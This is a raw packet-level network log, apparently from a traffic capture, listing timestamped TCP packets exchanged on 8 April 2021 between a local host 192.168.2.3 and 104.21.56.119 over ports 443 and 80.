Apr 8, 2021 11:01:45.597580910 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597604990 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597625971 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597645998 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.597649097 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597687960 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.597759962 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597784042 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597827911 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.597878933 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597918034 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.597958088 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598083019 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598174095 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598198891 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598212004 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598278999 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598301888 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598323107 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598325014 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598349094 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598383904 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598411083 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598419905 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598436117 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598444939 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598473072 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598478079 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598517895 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598519087 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598566055 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.598818064 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.598864079 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599111080 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599136114 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599159002 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599196911 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599370956 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599422932 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599675894 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599724054 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599746943 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599773884 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599797010 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.599807024 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599824905 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599848986 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.599981070 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.600007057 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.600035906 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.600034952 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.600069046 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.603811979 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.616175890 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.616213083 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.616309881 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.616417885 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687289000 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687326908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687438011 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687443972 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687465906 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687484980 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687505007 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687520027 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687527895 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687551975 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687572002 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687591076 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687634945 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687676907 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687700033 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687725067 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.687963963 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.687985897 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688005924 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688015938 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688030005 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688055038 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688071012 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688091993 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688116074 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688133001 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688169003 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688170910 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688193083 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688227892 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688314915 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688338995 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688390017 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688407898 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688431978 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688452959 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688468933 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688472986 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688504934 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688601971 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688627005 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688663960 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688731909 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688816071 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688854933 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.688915968 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688941002 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.688975096 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689024925 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689090967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689115047 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689137936 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689140081 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689165115 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689187050 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689192057 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689208031 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689222097 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689279079 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689305067 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689322948 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689328909 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689351082 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689359903 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689435959 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689457893 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689472914 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689481020 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689503908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689557076 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689595938 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689619064 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689634085 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689815044 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689841986 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689863920 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689902067 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.689939976 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.689987898 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690011978 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690033913 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690049887 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690056086 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690080881 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690099001 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690104008 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690170050 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690171003 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690196991 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690218925 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690237045 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690243959 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690269947 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690280914 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690293074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690313101 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690335035 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690355062 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690392971 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690426111 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690449953 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690470934 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690493107 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690500021 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690514088 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690538883 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690638065 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690665007 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690686941 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690876961 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690932989 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.690960884 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.690989017 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691024065 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691026926 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691112995 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691138029 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691148996 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691160917 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691186905 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691195011 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691212893 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691237926 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691248894 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691261053 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691283941 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691306114 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691328049 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691328049 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691360950 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691446066 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691471100 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691482067 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691543102 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691577911 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691585064 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691625118 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691649914 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691660881 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691724062 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691761017 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691817999 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691907883 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691931009 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691948891 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691951990 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.691984892 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.691993952 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692020893 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692044973 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692054033 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692158937 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692198038 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692302942 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692421913 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692461967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692462921 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692486048 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692512035 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692521095 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692534924 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692557096 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692573071 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692579031 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692605019 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692612886 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692626953 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692647934 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692658901 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692691088 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692729950 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692827940 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692853928 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692876101 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692893028 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692899942 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692924023 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692934036 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692945957 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692967892 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.692980051 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.692989111 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693028927 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693031073 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693053961 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693077087 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693088055 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693150997 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693186998 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693265915 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693300962 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693325043 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693336010 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693346977 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693367958 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693398952 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693490982 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693516016 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693533897 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693538904 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693562031 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693578959 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693584919 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693627119 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693625927 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693665981 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693702936 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693809032 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693834066 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693856001 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693871975 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693881035 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693903923 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693912983 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693943977 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.693979025 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.693981886 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694005966 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694026947 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694041014 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694118977 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694144011 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694154978 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694164991 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694186926 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694195986 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694242954 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694282055 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694323063 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694346905 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694369078 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694384098 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694391012 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694427013 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694464922 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694523096 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694547892 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694557905 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694571018 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694605112 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.694672108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694695950 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694715977 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.694730043 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.767369986 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.927328110 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.944911003 CEST	80	49700	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.947901011 CEST	80	49700	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.948446989 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.966193914 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.064270020 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.137532949 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137561083 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137583971 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137605906 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137629032 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137629032 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.137645960 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137664080 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.137669086 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137692928 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.137695074 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.137729883 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.378451109 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378473997 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378490925 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378506899 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378570080 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.378608942 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378613949 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.378665924 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378683090 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378700972 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:46.378854036 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378875017 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:46.378892899 CEST	443	49701	104.21.56.119	192.168.2.3
